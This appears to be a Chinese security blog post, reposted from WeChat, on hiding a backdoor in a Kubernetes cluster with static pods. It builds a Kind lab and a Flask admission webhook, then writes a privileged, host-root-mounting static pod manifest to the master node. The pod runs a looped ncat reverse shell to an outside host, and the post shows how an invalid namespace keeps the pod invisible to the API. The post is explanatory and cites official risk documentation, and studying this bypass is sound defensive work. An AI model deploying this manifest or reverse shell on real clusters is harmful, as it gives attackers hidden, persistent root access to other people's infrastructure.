静态 pod 是由 kubelet (节点组件)管理的 pod,kubelet 是集群中每个节点上运行的主要节点代理,而不是 K8S API。因为静态 pod 是由 kubelet 管理,所以它们不能引用其他 K8S 对象(如 secrets、config maps、服务账号等)。
创建静态 pod 只需在节点对应路径下写入 pod 配置文件,kubelet 即可自动创建 pod,删除 pod 也是直接删除配置文件即可。具体可见:https://mp.weixin.qq.com/s/98Aok2Tc4XaJRGeifY6R8w
按道理来说,静态 pod 不由 K8S API 创建与管理,故在集群中使用 kubectl get pods
是无法获取静态 pod 信息的,但是 kubelet 会自动尝试为每个静态 pod 在 K8S API 服务器上创建一个镜像 pod, 目的是将静态 pod 报告给 K8S 控制平面,使得它们可见,但仍不可以通过 API 服务器来控制静态 pod,
可利用的点:
① 如果攻击者在创建静态 pod 时使用了无效的 namespace, 则 kubelet 无法创建对应镜像 pod,进而使该 pod 在 K8S API 中不可见(这并不影响静态 pod 的创建)。
② 静态 pod 是无视准入控制的,故可创建具备高危权限的容器。静态 pod 是由 kubelet 直接创建的,绕过了 K8S API Server 的准入控制和权限管理流程。
下面进行实验演示。
用 Kind 创建集群,Kind 貌似无法使用 PodSecurity 准入控制器,不过用内置的 ValidatingAdmissionWebhook 准入控制器可达到类似的效果,
kind create cluster --config - --image registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1 <<EOF
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: demo
nodes:
role: control-plane
image: registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1
extraPortMappings:
containerPort: 6443
hostPort: 61213
listenAddress: "0.0.0.0"
role: worker
image: registry.cn-hangzhou.aliyuncs.com/testltr/kindest-node:v1.31.1
EOF
在另外一台机器上配置 Webhook 服务,该服务必须得使用https,创建 OpenSSL 配置文件,<ip> 修改为具体的机器IP,该机器与集群可正常通信,下述是 openssl.cnf,
[ req ]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
x509_extensions = v3_req
[ dn ]
CN = <ip>
[ v3_req ]
subjectAltName = @alt_names
[ alt_names ]
IP.1 = <ip>
生成证书和私钥,
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -config openssl.cnf
证书同目录下运行下方py代码,作用是检查创建的 pod 是否共享了节点的命名空间,
from flask import Flask, request, jsonify
app = Flask(__name__)
def validate_pod():
request_data = request.get_json()
# 获取请求中的 uid
uid = request_data.get("request", {}).get("uid", "")
print(f"Received request with uid: {uid}") # 打印请求的 uid
pod_spec = request_data.get("request", {}).get("object", {}).get("spec", {})
# 检查是否启用了主机命名空间
if pod_spec.get("hostPID", False) or pod_spec.get("hostIPC", False) or pod_spec.get("hostNetwork", False):
response_data = {
"apiVersion": "admission.k8s.io/v1", # 添加 apiVersion 字段
"kind": "AdmissionReview", # 添加 kind 字段
"response": {
"uid": uid, # 使用请求中的 uid
"allowed": False,
"status": {
"message": "Sharing host namespace is not allowed."
}
}
}
else:
response_data = {
"apiVersion": "admission.k8s.io/v1", # 添加 apiVersion 字段
"kind": "AdmissionReview", # 添加 kind 字段
"response": {
"uid": uid, # 使用请求中的 uid
"allowed": True
}
}
# 打印返回的响应内容
print(f"Sending response: {response_data}") # 打印响应的内容
return jsonify(response_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context=('server.crt', 'server.key')) # 需要使用 HTTPS
将 server.crt 编码,下面要用,cat server.crt | base64 -w 0
。
创建一个 ValidatingWebhookConfiguration,用于验证 Pod 的配置,禁止设置共享主机命名空间,
echo 'apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: disallow-shared-host-namespace
webhooks:
name: validate-pod.example.com
rules:
apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["pods"]
clientConfig:
url: "https://<your-server-ip-or-domain>:443/validate"
caBundle: <base64-encoded-server-cert> # CA 证书(如自签名证书)
admissionReviewVersions: ["v1"]
sideEffects: None' | kubectl apply -f -
检验准入控制器是否生效,故创建一个共享主机命名空间的 pod,
echo 'apiVersion: v1
kind: Pod
metadata:
name: test-pod
spec:
hostPID: true
containers:
name: nginx
image: docker.io/library/alpine:latest
imagePullPolicy: Never' | kubectl apply -f -
拦截成功,上述 pod 无法创建。
Webhook 服务返回日志,
在上述环境下创建恶意的静态 pod。
在 Master 节点中写入一个静态恶意 pod 配置文件,该 pod 具备非常完备的高危配置,修改配置文件 args 字段中 ip port 以便接收反弹 shell,
echo 'apiVersion: v1
kind: Pod
metadata:
name: ncat-static-pod
namespace: ltr
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
name: ncat-static-pod
image: docker.io/library/ncat:latest
imagePullPolicy: Never
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do ncat --ssl ip port -e /bin/bash; sleep 3600; done" ]
securityContext:
privileged: true
volumeMounts:
mountPath: /host
name: noderoot
volumes:
name: noderoot
hostPath:
path: /' | tee /etc/kubernetes/manifests/ncat-static.yaml
写入成功,
远端服务器接收反弹shell成功,并直接是 Master 节点主机的权限,准入控制器并未拦截。
同时,在集群中是查找不到该恶意的静态 pod 的。
参考:
官方文档中对于静态 Pod 的风险说明
https://kubernetes.io/zh-cn/docs/concepts/security/api-server-bypass-risks/#static-pods
原文始发于微信公众号(安全小将李坦然):隐匿 Pod:利用静态 Pod 进行集群权限维持
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论